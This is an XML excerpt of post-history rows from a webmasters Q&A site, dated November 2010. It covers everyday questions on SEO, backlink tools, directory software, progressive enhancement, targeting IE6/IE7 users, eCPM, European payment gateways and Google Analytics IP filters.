  <row Id="9426" PostHistoryTypeId="2" PostId="4752" RevisionGUID="aad77728-553c-43bd-b790-b4c08ed18162" CreationDate="2010-11-01T08:57:59.650" UserDisplayName="Andy" Text="I have a client who has recently purchased some domains which are well keyworded.&#xD;&#xA;&#xD;&#xA;I am trying to find the best way to point these at this website to maximise the effectiveness of his search engine optimisation.  &#xD;&#xA;&#xD;&#xA;Should i...&#xD;&#xA;&#xD;&#xA;A) Point the domain at the particular sub section of the site (ie a specific page) relative to the domains keywords.&#xD;&#xA;&#xD;&#xA;B) Map all the domains to the homepage.&#xD;&#xA;&#xD;&#xA;C) None of the above.... :)&#xD;&#xA;&#xD;&#xA;Any help or guidance form experts in this area would be very helpful!  &#xD;&#xA;&#xD;&#xA;Thanks to all." />
  <row Id="9427" PostHistoryTypeId="1" PostId="4752" RevisionGUID="aad77728-553c-43bd-b790-b4c08ed18162" CreationDate="2010-11-01T08:57:59.650" UserDisplayName="Andy" Text="Pointing additonal domains to maximise effectiveness" />
  <row Id="9428" PostHistoryTypeId="3" PostId="4752" RevisionGUID="aad77728-553c-43bd-b790-b4c08ed18162" CreationDate="2010-11-01T08:57:59.650" UserDisplayName="Andy" Text="&lt;seo&gt;&lt;domains&gt;" />
  <row Id="9429" PostHistoryTypeId="17" PostId="4752" RevisionGUID="4ff09d12-4a00-457a-b338-ee7ae3f36311" CreationDate="2010-11-01T11:21:03.323" UserId="-1" Comment="from http://stackoverflow.com/questions/4067607/pointing-additonal-domains-to-maximise-effectiveness" Text="" />
  <row Id="9430" PostHistoryTypeId="2" PostId="4753" RevisionGUID="2c76f2e9-7b0d-48bf-97eb-dd487b45edb2" CreationDate="2010-11-01T11:28:25.280" UserId="1953" Text="It really depends on the industry some industries are very web savvy and get lots of links easily where others are not. Majestic SEO has a really neat tool that allows you to compare backlinks over time of different domains. &#xD;&#xA;&#xD;&#xA;http://www.majesticseo.com/reports/compare-domain-backlink-history&#xD;&#xA;&#xD;&#xA;The types of links also impact how Google views them if you are doing something that generates a lot of news and Google sees a lot of trusted news sources covering the topic and a spike in searches for the topic they would expect to see a lot of new backlinks quickly whereas if you are submitting to 1,000 directories a day and getting no other links that would throw up red flags. " />
  <row Id="9431" PostHistoryTypeId="2" PostId="4754" RevisionGUID="ffed81d3-a40a-455c-bb17-560e12140283" CreationDate="2010-11-01T11:59:54.133" UserId="1253" Text="Directory software would work well, too. It would allow you to break down down by location, too. [phpLD][1] would be a good one to use.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.phplinkdirectory.com/articlescript/index.php" />
  <row Id="9432" PostHistoryTypeId="10" PostId="4752" RevisionGUID="77a57a1f-e2f3-467d-a37f-2aa32772e605" CreationDate="2010-11-01T12:02:52.850" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="9433" PostHistoryTypeId="5" PostId="4752" RevisionGUID="4a97e7ee-58d0-48a5-a7f5-87f157dfd9bf" CreationDate="2010-11-01T12:02:53.100" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Does registering a second domain name with the dashes help SEO?](http://webmasters.stackexchange.com/questions/4618/does-registering-a-second-domain-name-with-the-dashes-help-seo)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I have a client who has recently purchased some domains which are well keyworded.&#xD;&#xA;&#xD;&#xA;I am trying to find the best way to point these at this website to maximise the effectiveness of his search engine optimisation.  &#xD;&#xA;&#xD;&#xA;Should i...&#xD;&#xA;&#xD;&#xA;A) Point the domain at the particular sub section of the site (ie a specific page) relative to the domains keywords.&#xD;&#xA;&#xD;&#xA;B) Map all the domains to the homepage.&#xD;&#xA;&#xD;&#xA;C) None of the above.... :)&#xD;&#xA;&#xD;&#xA;Any help or guidance form experts in this area would be very helpful!  &#xD;&#xA;&#xD;&#xA;Thanks to all." />
  <row Id="9434" PostHistoryTypeId="5" PostId="4739" RevisionGUID="d4316417-41c7-4092-8ea0-83abc9da907b" CreationDate="2010-11-01T12:07:21.520" UserId="1253" Comment="added 78 characters in body" Text="I'm surprised no one mentioned [progressive enhancement][1]. There's rarely a good reason to have functionality or content that requires JavaScript to work. Yes, JavaScript can make the user experience *better*, but it shouldn't be required to make the user experience *possible*.&#xD;&#xA;&#xD;&#xA;So my answer is, you should build your website so everyone can access everything, even without JavaScript (assuming publicly available content. Site admins, intranets, etc, would be obvious exceptions as you can realistically dictate browser requirements in those situations).&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;Oh, yeah. This is search engine friendly too. JavaScript is not.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Progressive_enhancement" />
  <row Id="9435" PostHistoryTypeId="2" PostId="4755" RevisionGUID="5869215f-0b29-42cb-87dc-1272f04aea27" CreationDate="2010-11-01T12:39:46.547" UserId="1757" Text="You could give these a shot:&#xD;&#xA;&#xD;&#xA; - [PHPDirectory][1]&#xD;&#xA; - [dweb][2]&#xD;&#xA; - [direx][3]&#xD;&#xA; - [PHP Weby][4]&#xD;&#xA; - [GippleDee][5] (the open source fork of the phpLD app that John Conde mentioned)&#xD;&#xA;&#xD;&#xA;&amp;mdash;from: http://freshmeat.net/search?page=1&amp;q=directory&amp;submit=Search&amp;with=12&amp;without=&#xD;&#xA;&#xD;&#xA;Though, to be honest, I'm not too impressed by any of the commercial or open source options. You might want to try to adapt a more general purpose wiki (niche software generally has fewer developers &amp; software publishers, and thus lower software quality) as Evgeny suggests, or otherwise look for a Drupal/Joomla module or something.&#xD;&#xA;&#xD;&#xA;  [1]: http://freshmeat.net/projects/sbd-directory-software&#xD;&#xA;  [2]: http://freshmeat.net/projects/dweb&#xD;&#xA;  [3]: http://freshmeat.net/projects/direx&#xD;&#xA;  [4]: http://freshmeat.net/projects/phpdirectoryscript&#xD;&#xA;  [5]: http://freshmeat.net/projects/gpld" />
  <row Id="9436" PostHistoryTypeId="2" PostId="4756" RevisionGUID="d68806ca-5f1d-4a1e-903c-4300b7f7dad8" CreationDate="2010-11-01T13:07:02.623" UserId="1953" Text="A lot of it depends on the resources you have available, email is a great option if you have a list, social sites such as stumbleupon if you have the right content. The search engines can drive a lot of traffic, if your site is not yet ranking, you can take advantage of any applicable universal search features, in addition to the shopping results you already mentioned there are video, images, news results, realtime search if you're using twitter and more. &#xD;&#xA;&#xD;&#xA;If you offer coupons there are quite a few coupon sites that let you list your deals for free. If you have unique products or are doing something news worthy press releases can be worthwhile. There are plenty of other options but hopefully this will give you enough to get started." />
  <row Id="9438" PostHistoryTypeId="6" PostId="4733" RevisionGUID="acd59654-bf96-4619-873b-739de557e3e2" CreationDate="2010-11-01T14:15:22.300" UserId="1253" Comment="edited tags" Text="&lt;javascript&gt;&lt;usability&gt;&lt;accessibility&gt;" />
  <row Id="9439" PostHistoryTypeId="2" PostId="4758" RevisionGUID="5199d260-fae7-4a63-9107-f8cb56b137b9" CreationDate="2010-11-01T15:01:33.003" UserId="2608" Text="I would recommend a hosting provider whom has a utility box in place to work with the needs of a LAMP based production deployment.  The utility box can be virtual in a cloud as long as it has the same back end subnet routing to the LAMP over a private network for ease of administration and security.&#xD;&#xA;&#xD;&#xA;Rackspace definitely has a LAMP solution although I am not for certain what developer tools and support is available. A solution plus developer kit sounds more fitting, I would recommend checking out Dev Utility Server like Logicworks, www.utility.noc.logicworks.net.&#xD;&#xA;&#xD;&#xA;Feel free to reach out to me with any questions, best of luck.&#xD;&#xA;" />
  <row Id="9440" PostHistoryTypeId="2" PostId="4759" RevisionGUID="867e0538-fe1e-4b7d-adb1-c54869fda323" CreationDate="2010-11-01T15:18:40.577" UserId="233" Text="Often, a link with `nofollow` is just as important as one without. Remember, links are for *people*, not search engines. If you have something useful to add to the conversation then others are more inclined to check out your site. The side effect of that is you may get natural links from other webmasters that visit.&#xD;&#xA;&#xD;&#xA;The other strategy, particularly if you are a product/service shop, is to send out press releases to all relevant news websites/blogs. Make sure it's new-worthy, of course! You are likely to gather links naturally through reposts of your news." />
  <row Id="9441" PostHistoryTypeId="2" PostId="4760" RevisionGUID="5aa55d42-b4c2-4152-a5d8-9293ecd947fe" CreationDate="2010-11-01T15:28:51.933" UserDisplayName="drensh" Text="If you want a really useful SERP tracker, which is fine with your budged, I can suggest to try [Wyolyzer SERP Tracker][1].&#xD;&#xA;&#xD;&#xA;It is a low cost solution, for 50 keywords costs only 15$/month. Graphs and reports are available.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wyoseo.com/" />
  <row Id="9442" PostHistoryTypeId="5" PostId="4736" RevisionGUID="b6c1d3c9-438f-430c-93d5-131b120f8171" CreationDate="2010-11-01T15:52:43.837" UserId="233" Comment="added extra questions" Text="Can I know how many websites/Blogs are linking to my website? Is there any free tools? Can I use with google.com too?&#xD;&#xA;&#xD;&#xA;Can I use also with google.com link:www.mysite.com ?&#xD;&#xA;&#xD;&#xA;What is the different between Link:www.mysite.com and url:mysite.com ?" />
  <row Id="9443" PostHistoryTypeId="5" PostId="4741" RevisionGUID="8f54f794-80ec-454c-a3c6-282a64f8f923" CreationDate="2010-11-01T15:59:31.147" UserId="2730" Comment="add links; deleted 1 characters in body" Text="A common tool used for this is [Yahoo Site Explorer][1], almost all the tools that will give you this information use it's API.&#xD;&#xA;&#xD;&#xA;One such tool is [Spyglass SEO][2] for example, free to try, [download from CNET][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://siteexplorer.search.yahoo.com&#xD;&#xA;  [2]: http://www.link-assistant.com/seo-spyglass/&#xD;&#xA;  [3]: http://download.cnet.com/SEO-SpyGlass-Enterprise/3000-18485_4-10631702.html" />
  <row Id="9445" PostHistoryTypeId="2" PostId="4761" RevisionGUID="514d5692-bd31-4451-b193-e4d6d7b1d345" CreationDate="2010-11-01T16:01:49.120" UserId="233" Text="There are several methods to find inlinks; these are the best three that I'm aware of:&#xD;&#xA;&#xD;&#xA;* Search for `link:yoursite.com` in Google, Bing and/or Yahoo. This is the quickest way to see links. In Yahoo will redirect you to their site explorer which is quite nice.&#xD;&#xA;&#xD;&#xA;* Sign up for [Google Webmaster Tools][2] where you can see links to your site and other goodness. Usually you will get more links here than through the `link:` query.&#xD;&#xA;&#xD;&#xA;* [Open Site Explorer][1] tends to show the most relevant links. Basic list is free, however, you need to pay a lot of money to see more than the top 25.&#xD;&#xA;&#xD;&#xA;Regarding your latter question, there is no `url:` search that I'm aware of. You are probably thinking of `site:`. The difference is `link:example.com` finds all pages linking to example.com, while `site:example.com` shows you all the pages on example.com (that the search engine has indexed).&#xD;&#xA;&#xD;&#xA;  [1]: http://www.opensiteexplorer.org/&#xD;&#xA;  [2]: http://www.google.com/webmasters/" />
  <row Id="9446" PostHistoryTypeId="4" PostId="4745" RevisionGUID="420ac9ec-28f1-4e2d-add7-9b0b8958cb57" CreationDate="2010-11-01T16:03:11.787" UserId="233" Comment="SPAG; edited tags" Text="Does page impression get counted for unique visits?" />
  <row Id="9447" PostHistoryTypeId="6" PostId="4745" RevisionGUID="420ac9ec-28f1-4e2d-add7-9b0b8958cb57" CreationDate="2010-11-01T16:03:11.787" UserId="233" Comment="SPAG; edited tags" Text="&lt;google-analytics&gt;&lt;google-adsense&gt;" />
  <row Id="9448" PostHistoryTypeId="2" PostId="4762" RevisionGUID="ab461ecc-4af8-4100-aa46-7b15ca89ce3c" CreationDate="2010-11-01T16:03:54.560" UserId="2209" Text="Domains By Proxy is only able to hide your personal information to help protect you from spam. You can not hide your DNS information, by doing so will give all of your users an error when they try to view your site." />
  <row Id="9449" PostHistoryTypeId="2" PostId="4763" RevisionGUID="ea341290-3709-4c11-8cbd-0549f20f2f89" CreationDate="2010-11-01T16:07:36.960" UserId="2780" Text="I have development server on my notebook, there is git repository too. The configuration is quite similar to production server. If I need synchronize, I just upload all source files." />
  <row Id="9450" PostHistoryTypeId="2" PostId="4764" RevisionGUID="f1ab9b08-be8a-4e5a-9628-87f9874b7942" CreationDate="2010-11-01T16:12:45.053" UserId="233" Text="The &quot;eCPM&quot; is &quot;Effective Cost per Mille&quot; or the cost per 1,000 impressions. So if you had 2,000 visitors and earned $2, your eCPM would be $1.&#xD;&#xA;&#xD;&#xA;Unique visitors are not counted, only raw page views. But if eCPM is showing as zero, it means either you are not earning anything (no one clicked on the advert) or simply there is not enough data to calculate it accurately." />
  <row Id="9455" PostHistoryTypeId="2" PostId="4766" RevisionGUID="ee2c386b-4605-4fa6-8a4f-53d03c918ebd" CreationDate="2010-11-01T16:29:14.930" UserId="576" Text="Nicholas C. Zakas informs that [around 1% of the actual visitor traffic][1] to sites on the Yahoo network make JavaScript-disabled requests. &#xD;&#xA;&#xD;&#xA;&gt; ...the overwhelming majority of users&#xD;&#xA;&gt; has JavaScript-enabled browsers and&#xD;&#xA;&gt; can therefore take advantage of all of&#xD;&#xA;&gt; the enhanced functionality and dynamic&#xD;&#xA;&gt; interfaces developers and designers&#xD;&#xA;&gt; love to create. From a planning&#xD;&#xA;&gt; standpoint, it makes sense to spend&#xD;&#xA;&gt; more time on the experience that the&#xD;&#xA;&gt; largest numbers of users receive,&#xD;&#xA;&gt; knowing that your time investment is&#xD;&#xA;&gt; well worth it.&#xD;&#xA;&#xD;&#xA;So find out the stats for your own site &amp; build it so that it benefits the majority &amp; still degrades gracefully for those who have JS disabled.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.yahoo.com/blogs/ydn/posts/2010/10/how-many-users-have-javascript-disabled/" />
  <row Id="9456" PostHistoryTypeId="2" PostId="4767" RevisionGUID="dc34e0c3-0203-4175-889d-4b60870e4a75" CreationDate="2010-11-01T16:36:25.947" UserId="1953" Text="SeMRush is a good tool for this, it obviously won't be a comprehensive list of keywords, but the most accurate and comprehensive info I've seen." />
  <row Id="9457" PostHistoryTypeId="2" PostId="4768" RevisionGUID="343e9214-3d93-49e5-8bf6-0babf0e7bbb2" CreationDate="2010-11-01T16:48:02.783" UserId="576" Text="Check this comparison of JS &amp; CSS minifiers to pick what suits you best -&#xD;&#xA;&#xD;&#xA; - http://www.phpied.com/reducing-tpayload/   &#xD;&#xA; - http://www.phpied.com/css-minifiers-comparison/" />
  <row Id="9458" PostHistoryTypeId="2" PostId="4769" RevisionGUID="824e6ac7-a4a5-422e-8a1a-881dad7d4573" CreationDate="2010-11-01T17:27:40.360" UserId="1424" Text="What's the best way to show a text message for only IE 6 and IE 7 ?&#xD;&#xA;&#xD;&#xA;Should I add a html tag to my webpages and normally hide it with css for all browsers except the above mentioned ?&#xD;&#xA;&#xD;&#xA;And when I use IE6 IE7, should I hide the website with css and show only that html tag ?&#xD;&#xA;&#xD;&#xA;thanks" />
  <row Id="9459" PostHistoryTypeId="1" PostId="4769" RevisionGUID="824e6ac7-a4a5-422e-8a1a-881dad7d4573" CreationDate="2010-11-01T17:27:40.360" UserId="1424" Text="What's the best way to show a message for only IE 6 and IE 7 ? " />
  <row Id="9460" PostHistoryTypeId="3" PostId="4769" RevisionGUID="824e6ac7-a4a5-422e-8a1a-881dad7d4573" CreationDate="2010-11-01T17:27:40.360" UserId="1424" Text="&lt;html&gt;&lt;css&gt;&lt;internet-explorer&gt;" />
  <row Id="9461" PostHistoryTypeId="2" PostId="4770" RevisionGUID="a528c31d-93ae-428f-a0a7-6d8463e85e3a" CreationDate="2010-11-01T17:37:10.643" UserId="233" Text="This is a very difficult task due to the certainty of conflicting IDs and users. Like your link suggests, you'll first have to check for any duplicate users. Aside from that, every post and user should have a unique ID, and those IDs will be referenced in many places (e.g. the userid would be referenced in the posts table).&#xD;&#xA;&#xD;&#xA;One solution I have used in a similar situation is to add a number to all the IDs in one database. If you have, say, 3k users, add 5,000 to all user IDs, across all the tables they are referenced in that database. Do the same with individual posts (probably need to add 100,000 or more). And the same for anything else with unique IDs.&#xD;&#xA;&#xD;&#xA;After that, you can copy the data to the other database. Obviously, do this on a test server first (e.g. `localhost`).&#xD;&#xA;&#xD;&#xA;Of course, the other answer is to scrap all the old posts and start again - is a discussion from 2005 all that useful?" />
  <row Id="9462" PostHistoryTypeId="2" PostId="4771" RevisionGUID="d431c7a2-55bc-4785-9eab-392650b89dce" CreationDate="2010-11-01T17:40:26.480" UserId="1953" Text="As Evgeny pointed out Google Webmaster Tools has recently added the ability to see your CTR on keywords you are already showing up in the SERPs for. Predicting the traffic you'd get for a word that you want to rank for is a little tougher. The best data available that I'm aware of is the leaked AOL data from a few years ago.&#xD;&#xA;&#xD;&#xA;This is a quick run down.&#xD;&#xA;http://www.webuildpages.com/jim/click-rate-for-top-10-search-results/&#xD;&#xA;&#xD;&#xA;Here is a far more detailed explanation of determining the value of a #1 ranking.&#xD;&#xA;http://training.seobook.com/google-ranking-value&#xD;&#xA;&#xD;&#xA;The accuracy varies greatly from site to site and keyword to keyword because there are so many variables and the data is a bit dated so it's better used to compare one keyword to another rather then generate actual budgets/forecasts. " />
  <row Id="9463" PostHistoryTypeId="2" PostId="4772" RevisionGUID="ab006606-f214-4d77-918a-3463c05c5ec4" CreationDate="2010-11-01T17:45:12.260" UserId="1253" Text="It's tough to limit access to a website by browser because there is no 100% foolproof way to do it.&#xD;&#xA;&#xD;&#xA;Your first problem is user-agent spoofing. Browsers can identify themselves with any user-agent they want to. Browsers with extensions all seem [to have one][1] that makes doing this trivial. If someone with [IE6 or IE7 changed their user-agent][2] to be that of IE8 or Firefox they'll get into a website. &#xD;&#xA;&#xD;&#xA;You can use JavaScript to overcome that issue by using [feature detection][3]. Basically you use JavaScript to do a simple test: you check to see if a piece of functionality that doesn't exist in IE6 or IE7 exists. If it doesn't, you know it's them. The problem with this is if they turn off JavaScript they easily bypass this.&#xD;&#xA;&#xD;&#xA;A multi-tiered approach would be to browser sniff on the server side using their user-agent, ideally in [Apache][4] or IIS, and redirect those users to a page telling them you don't support their browser. BTW, that's more polite then simply hiding the website. I'd augment that with the JavaScript feature detection method. Between the two of them you'll catch all but the most technically savy users and the odds are they aren't using IE6 or IE7 anyway.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://addons.mozilla.org/en-US/firefox/addon/59/&#xD;&#xA;  [2]: http://www.walkernews.net/2007/07/05/how-to-change-user-agent-string/&#xD;&#xA;  [3]: http://kangax.github.com/cft/&#xD;&#xA;  [4]: http://stackoverflow.com/questions/282161/passthrough-filname-png-to-filename8-png-if-ie6-and-filename8-png-exists" />
  <row Id="9467" PostHistoryTypeId="2" PostId="4774" RevisionGUID="447c5d58-0fba-4b9c-88d9-b0a4344c20fa" CreationDate="2010-11-01T18:03:19.013" UserId="1953" Text="MajesticSEO is what I use, if you verify your domain with them they will give you all the link data for your site for free. " />
  <row Id="9474" PostHistoryTypeId="2" PostId="4776" RevisionGUID="49fa65b7-12bb-472a-b059-083ae0264736" CreationDate="2010-11-01T18:44:40.913" UserId="2552" Text="Conditional CSS commenting or use the JQUERY browser detection:&#xD;&#xA;&#xD;&#xA;[Link to CSS conditional Comments][1]&#xD;&#xA;&#xD;&#xA;[Link to Jquery browser detection][2]&#xD;&#xA;&#xD;&#xA;Using these you can set styles like hide the divs of normal content and display the divs of alternate content. Or us JS to alter the content and how it's displayed.&#xD;&#xA;&#xD;&#xA;If you're looking to just remove everything for IE6 users and show them a message telling them to update you can set the CSS to hide everything inside the body, and throw an alert onload with the jquery detection. It's harsh, but should work the majority of the time so long as they aren't trying to be sneaky or bypass this. In which case they probably aren't the people you are targeting.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.quirksmode.org/css/condcom.html&#xD;&#xA;  [2]: http://api.jquery.com/jQuery.browser/" />
  <row Id="9477" PostHistoryTypeId="2" PostId="4778" RevisionGUID="f3a15fbc-01cf-46c4-86d9-ee61b2779a22" CreationDate="2010-11-01T19:04:58.403" UserId="1424" Text="I need to build a webshop for a customer with an weekly revenues more than 40.000 euros&#xD;&#xA;&#xD;&#xA;Location: Europe&#xD;&#xA;&#xD;&#xA;I was thinking to use Paypal Standard Payment (in this case the customer needs to contact paypal  given the above mentioned revenues, right ?&#xD;&#xA;&#xD;&#xA;Any other solution for an **european** web shops ? (i.e. Paypal Payments Pro doesn't work in Europe)&#xD;&#xA;&#xD;&#xA;Also, is there any pre-built service.. to make such webshop ?&#xD;&#xA;&#xD;&#xA;thanks" />
  <row Id="9478" PostHistoryTypeId="1" PostId="4778" RevisionGUID="f3a15fbc-01cf-46c4-86d9-ee61b2779a22" CreationDate="2010-11-01T19:04:58.403" UserId="1424" Text="Webshop in Europe with high revenues.. what to use ?" />
  <row Id="9479" PostHistoryTypeId="3" PostId="4778" RevisionGUID="f3a15fbc-01cf-46c4-86d9-ee61b2779a22" CreationDate="2010-11-01T19:04:58.403" UserId="1424" Text="&lt;ecommerce&gt;" />
  <row Id="9480" PostHistoryTypeId="2" PostId="4779" RevisionGUID="5e7b1d4f-f04a-4060-96a3-52a70822efb1" CreationDate="2010-11-01T19:08:49.660" UserId="1253" Text="[Worldpay][1] seems to be popular in Europe.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.rbsworldpay.com/" />
  <row Id="9481" PostHistoryTypeId="2" PostId="4780" RevisionGUID="fa6b61ff-3ba6-46a7-b21e-b2ae26625143" CreationDate="2010-11-01T19:15:46.097" UserId="2730" Text="There are several popular article directories, namely:&#xD;&#xA;&#xD;&#xA;  - [ArticleBase][1]&#xD;&#xA;  - [EzineArticles][2]&#xD;&#xA;  - [Buzzle][3]&#xD;&#xA;&#xD;&#xA;And hundreds if not thousands of [smaller ones][4] all over the internet.&#xD;&#xA;&#xD;&#xA;**How can these websites be used to improve the SERP rankings of a website in Google/Bing?** With disregard to the potential added traffic form the websites themselves. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.articlesbase.com&#xD;&#xA;  [2]: http://ezinearticles.com&#xD;&#xA;  [3]: http://www.buzzle.com&#xD;&#xA;  [4]: http://www.google.com/search?q=article+submission" />
  <row Id="9482" PostHistoryTypeId="1" PostId="4780" RevisionGUID="fa6b61ff-3ba6-46a7-b21e-b2ae26625143" CreationDate="2010-11-01T19:15:46.097" UserId="2730" Text="What role do article directory websites play in SEO?" />
  <row Id="9483" PostHistoryTypeId="3" PostId="4780" RevisionGUID="fa6b61ff-3ba6-46a7-b21e-b2ae26625143" CreationDate="2010-11-01T19:15:46.097" UserId="2730" Text="&lt;seo&gt;&lt;articles&gt;" />
  <row Id="9484" PostHistoryTypeId="2" PostId="4781" RevisionGUID="0e3adb19-f8e0-4dd8-b714-d17fd63fc5de" CreationDate="2010-11-01T19:20:27.110" UserId="1424" Text="I need a guideline to prepare a list of questions for my customer to build a e-commerce website&#xD;&#xA;&#xD;&#xA;What are the most important questions related to the online shop I should ask (such as: what's your bank account, what's your expected revenues.. etc)&#xD;&#xA;&#xD;&#xA;thanks" />
  <row Id="9485" PostHistoryTypeId="1" PostId="4781" RevisionGUID="0e3adb19-f8e0-4dd8-b714-d17fd63fc5de" CreationDate="2010-11-01T19:20:27.110" UserId="1424" Text="ecommerce website development guidelines" />
  <row Id="9486" PostHistoryTypeId="3" PostId="4781" RevisionGUID="0e3adb19-f8e0-4dd8-b714-d17fd63fc5de" CreationDate="2010-11-01T19:20:27.110" UserId="1424" Text="&lt;ecommerce&gt;" />
  <row Id="9487" PostHistoryTypeId="2" PostId="4782" RevisionGUID="cf1d1b58-6ade-4267-83f1-da5943111068" CreationDate="2010-11-01T19:29:19.733" UserId="2730" Text="Skip asking about bank and revenues, don't do that. That is what he cares about, and so should you.&#xD;&#xA;&#xD;&#xA;You should be interested in the products he wants to sell. Most e-commerce websites are talking about &quot;[datafeeds][1]&quot;, you should learn what that is.&#xD;&#xA;&#xD;&#xA;You need to understand all the nuances of selling a product, shipping, taxes, etc ... so you can show this data to users coming to your website. Take a look at creating shops on [Shopify][2], maybe you can even use that instead of building a website.&#xD;&#xA;&#xD;&#xA;You might also want to learn about adding products to [Amazon Marketplace][3] and [Google Product Search][4] (google product search is a price comparison website, basically). Amazon can sell products for you, without you even having a website. And Google Product Search, and other price comparison websites, can drive traffic to your products by making them appear in search results.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/merchants/bin/topic.py?topic=30064&#xD;&#xA;  [2]: http://www.shopify.com/&#xD;&#xA;  [3]: http://www.amazon.com/gp/help/customer/display.html?nodeId=1161232&#xD;&#xA;  [4]: http://www.google.com/merchants/" />
  <row Id="9488" PostHistoryTypeId="4" PostId="4780" RevisionGUID="bab2b7ac-7aa2-4700-a702-24da140ea64c" CreationDate="2010-11-01T19:32:53.707" UserId="2730" Comment="edited title" Text="What role do article submission directories play in SEO?" />
  <row Id="9490" PostHistoryTypeId="5" PostId="4782" RevisionGUID="7a7eda18-5e20-4230-bc1f-5d4ed7b8257c" CreationDate="2010-11-01T19:38:37.520" UserId="2730" Comment="added 577 characters in body" Text="It is all about [ROI, return of investment][1]. That is what he cares about, and so should you.&#xD;&#xA;&#xD;&#xA;You should be interested in the products he wants to sell. Most e-commerce websites are talking about &quot;[datafeeds][2]&quot;, you should learn what that is.&#xD;&#xA;&#xD;&#xA;You need to understand all the nuances of selling a product, shipping, taxes, etc ... so you can show this data to users coming to your website. Take a look at creating shops on [Shopify][3], maybe you can even use that instead of building a website.&#xD;&#xA;&#xD;&#xA;You might also want to learn about adding products to [Amazon Marketplace][4] and [Google Product Search][5] (google product search is a price comparison website, basically). Amazon can sell products for you, without you even having a website. And Google Product Search, and other price comparison websites, can drive traffic to your products by making them appear in search results.&#xD;&#xA;&#xD;&#xA;[Money clearing][6] and companies that handle that ([clearinghouses][7]) are important too, but you should care about it only if you want to actually deal with them directly. Usually there are middle-tier companies that provide you APIs for this sort of thing.&#xD;&#xA;&#xD;&#xA;The above are only suggestions and ideas you might use for asking your client questions, there are probably more things I didn't cover.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Return_on_Investment&#xD;&#xA;  [2]: http://www.google.com/support/merchants/bin/topic.py?topic=30064&#xD;&#xA;  [3]: http://www.shopify.com/&#xD;&#xA;  [4]: http://www.amazon.com/gp/help/customer/display.html?nodeId=1161232&#xD;&#xA;  [5]: http://www.google.com/merchants/&#xD;&#xA;  [6]: http://en.wikipedia.org/wiki/Clearing_(finance)&#xD;&#xA;  [7]: http://en.wikipedia.org/wiki/Clearing_house_(finance)" />
  <row Id="9491" PostHistoryTypeId="2" PostId="4783" RevisionGUID="9412c60f-57c4-41dd-937e-52bcb1a67c99" CreationDate="2010-11-01T19:41:08.103" UserId="1253" Text="It looks like (I don't kow for sure as I don't use services like this) that ezinearticles, maybe others, allow you to place links in your articles. They are not nofollow. So you can get links this way. Unfortunately they are low quality so I wouldn't expect them to make any kind of difference in your rankings in-and-of themselves. However, if others republish the content, assuming they do not edit the content, those links will also them be automatically added to their website as well. The links from the republished article *should* carry some weight unless it is discounted as part of the way duplicate content is filtered.&#xD;&#xA;&#xD;&#xA;That's all I can think of off of the top of my head." />
  <row Id="9492" PostHistoryTypeId="2" PostId="4784" RevisionGUID="f1b821c5-c3cd-429a-982e-64e0dfde50af" CreationDate="2010-11-01T20:04:18.630" UserId="1757" Text="There are a lot of hosted ecommerce solutions, like Shopify and Yahoo Merchant Solutions, etc. If you're new to e-commerce, you should probably use one of those. Those sites should set up all of the payment processing for you.&#xD;&#xA;&#xD;&#xA;But a store with that level of regular revenue definitely shouldn't be using PayPayl Payment Standard. That is for low-revenue small businesses. It takes the customer off-site, takes a higher percentage, and is generally less professional.&#xD;&#xA;&#xD;&#xA;Personally, I would have them talk to their bank about opening a merchant account and find an online payment processing gateway (one that uses 3-D Secure) for Europe. Often, those two services are packaged together, and the sales reps for the bank, payment processor, or merchant account provider will walk them through account creation. You don't need to, and shouldn't be, involved. All you need is access to the payment processing API.&#xD;&#xA;&#xD;&#xA;Then just install Magento and configure the payment processing options to use the payment gateway the client signed up with." />
  <row Id="9493" PostHistoryTypeId="2" PostId="4785" RevisionGUID="23d8ada1-0c29-4437-bce8-a154b416773c" CreationDate="2010-11-01T20:16:10.110" UserId="2730" Text="Use [Conditional Comments][1] that only IE browsers support.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.quirksmode.org/css/condcom.html" />
  <row Id="9494" PostHistoryTypeId="2" PostId="4786" RevisionGUID="714cf89e-88f2-4fd6-9c1f-71bc57034fe7" CreationDate="2010-11-01T20:24:10.817" UserId="239" Text="Can you exclude your own public IP? And if there is a way to do that, can you do that via the reports, or just as an ongoing setting (i.e. will only affect future reports)." />
  <row Id="9495" PostHistoryTypeId="1" PostId="4786" RevisionGUID="714cf89e-88f2-4fd6-9c1f-71bc57034fe7" CreationDate="2010-11-01T20:24:10.817" UserId="239" Text="Is there a way to filter out your own company's IP in Google Analytics?" />
  <row Id="9496" PostHistoryTypeId="3" PostId="4786" RevisionGUID="714cf89e-88f2-4fd6-9c1f-71bc57034fe7" CreationDate="2010-11-01T20:24:10.817" UserId="239" Text="&lt;google-analytics&gt;" />
  <row Id="9497" PostHistoryTypeId="2" PostId="4787" RevisionGUID="23c45613-3d1c-45ca-b356-9b01d7143788" CreationDate="2010-11-01T20:26:01.963" UserId="1253" Text="You can exclude your own IP. You can add it under [filters][1] (not sure if that link will work).&#xD;&#xA;&#xD;&#xA;I don't know if it applies to past data, though. I also don't see anywhere for applying it to reports. If you see your numbers change immediately then I guess it does. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/analytics/settings/filter_list?" />
